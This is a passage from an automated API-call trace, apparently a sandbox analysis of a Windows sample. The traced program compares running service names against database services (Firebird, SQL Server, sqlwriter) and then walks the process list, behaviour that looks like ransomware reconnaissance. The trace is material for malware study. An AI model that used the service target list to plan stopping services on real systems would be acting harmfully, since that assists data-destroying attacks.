	[0082.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0082.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0082.238] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0082.238] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0082.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0082.238] lstrlenW (lpString="MapsBroker") returned 10
	[0082.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0082.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0082.238] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0082.238] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0082.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0082.238] lstrlenW (lpString="MpsSvc") returned 6
	[0082.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0082.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0082.238] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0082.238] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0082.238] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0082.238] lstrlenW (lpString="NcbService") returned 10
	[0082.238] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0082.238] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0082.239] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0082.239] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0082.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0082.239] lstrlenW (lpString="netprofm") returned 8
	[0082.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0082.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0082.239] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0082.239] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0082.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0082.239] lstrlenW (lpString="NlaSvc") returned 6
	[0082.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0082.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0082.239] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0082.239] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0082.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0082.239] lstrlenW (lpString="nsi") returned 3
	[0082.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0082.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0082.239] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0082.239] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0082.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0082.239] lstrlenW (lpString="PcaSvc") returned 6
	[0082.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0082.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0082.239] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0082.239] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0082.239] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0082.239] lstrlenW (lpString="PlugPlay") returned 8
	[0082.239] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0082.239] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0082.239] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0082.240] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0082.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0082.240] lstrlenW (lpString="Power") returned 5
	[0082.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0082.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0082.240] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0082.240] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0082.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0082.240] lstrlenW (lpString="ProfSvc") returned 7
	[0082.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0082.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0082.240] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0082.240] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0082.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0082.240] lstrlenW (lpString="RpcEptMapper") returned 12
	[0082.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0082.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0082.240] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0082.240] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0082.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0082.240] lstrlenW (lpString="RpcSs") returned 5
	[0082.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0082.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0082.240] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0082.240] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0082.240] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0082.240] lstrlenW (lpString="SamSs") returned 5
	[0082.240] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0082.240] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0082.240] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0082.241] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0082.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0082.241] lstrlenW (lpString="Schedule") returned 8
	[0082.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0082.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0082.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0082.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0082.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0082.241] lstrlenW (lpString="SecurityHealthService") returned 21
	[0082.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0082.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0082.241] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0082.241] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0082.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0082.241] lstrlenW (lpString="SENS") returned 4
	[0082.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0082.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0082.241] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0082.241] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0082.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0082.241] lstrlenW (lpString="ShellHWDetection") returned 16
	[0082.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0082.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0082.241] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0082.241] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0082.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0082.241] lstrlenW (lpString="Spooler") returned 7
	[0082.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0082.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0082.241] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0082.241] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0082.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0082.242] lstrlenW (lpString="StateRepository") returned 15
	[0082.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0082.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0082.242] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0082.242] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0082.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0082.242] lstrlenW (lpString="SysMain") returned 7
	[0082.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0082.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0082.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0082.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0082.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0082.242] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0082.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0082.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0082.242] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0082.242] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0082.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x43587b0 | out: hHeap=0x4f0000) returned 1
	[0082.242] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358
	[0082.248] Process32FirstW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0082.248] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0082.249] lstrlenW (lpString="System") returned 6
	[0082.249] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0082.249] lstrlenW (lpString="smss.exe") returned 8
	[0082.249] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0082.250] lstrlenW (lpString="csrss.exe") returned 9
	[0082.250] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0082.250] lstrlenW (lpString="wininit.exe") returned 11
	[0082.250] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0082.251] lstrlenW (lpString="csrss.exe") returned 9
	[0082.251] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0082.579] lstrlenW (lpString="winlogon.exe") returned 12
	[0082.579] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0082.604] lstrlenW (lpString="services.exe") returned 12
	[0082.604] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0082.604] lstrlenW (lpString="lsass.exe") returned 9
	[0082.604] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.605] lstrlenW (lpString="svchost.exe") returned 11
	[0082.605] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0082.605] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0082.605] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0082.606] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0082.606] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.607] lstrlenW (lpString="svchost.exe") returned 11
	[0082.607] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0082.607] lstrlenW (lpString="dwm.exe") returned 7
	[0082.607] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.608] lstrlenW (lpString="svchost.exe") returned 11
	[0082.608] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.608] lstrlenW (lpString="svchost.exe") returned 11
	[0082.608] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.609] lstrlenW (lpString="svchost.exe") returned 11
	[0082.609] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.609] lstrlenW (lpString="svchost.exe") returned 11
	[0082.609] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.610] lstrlenW (lpString="svchost.exe") returned 11
	[0082.610] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.611] lstrlenW (lpString="svchost.exe") returned 11
	[0082.611] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.611] lstrlenW (lpString="svchost.exe") returned 11
	[0082.611] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.612] lstrlenW (lpString="svchost.exe") returned 11
	[0082.612] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.612] lstrlenW (lpString="svchost.exe") returned 11
	[0082.612] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0082.613] lstrlenW (lpString="spoolsv.exe") returned 11
	[0082.613] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.613] lstrlenW (lpString="svchost.exe") returned 11
	[0082.613] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.614] lstrlenW (lpString="svchost.exe") returned 11
	[0082.614] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0082.614] lstrlenW (lpString="audiodg.exe") returned 11
	[0082.614] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0082.615] lstrlenW (lpString="sihost.exe") returned 10
	[0082.615] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0082.616] lstrlenW (lpString="svchost.exe") returned 11
	[0082.616] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0082.616] lstrlenW (lpString="taskhostw.exe") returned 13
	[0082.616] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0082.617] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0082.617] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0082.617] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0082.617] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0082.618] lstrlenW (lpString="explorer.exe") returned 12
	[0082.618] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0082.618] lstrlenW (lpString="Memory Compression") returned 18
	[0082.618] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0082.619] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0082.619] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0082.619] lstrlenW (lpString="SearchUI.exe") returned 12
	[0082.619] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0082.620] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0082.620] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0082.620] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0082.621] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0082.621] lstrlenW (lpString="taskhostw.exe") returned 13
	[0082.621] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0082.622] lstrlenW (lpString="UsoClient.exe") returned 13
	[0082.622] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0082.622] lstrlenW (lpString="taskhostw.exe") returned 13
	[0082.622] Process32NextW (in: hSnapshot=0x358, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0082.623] lstrlenW (lpString="DeviceCensus.exe") returned 16
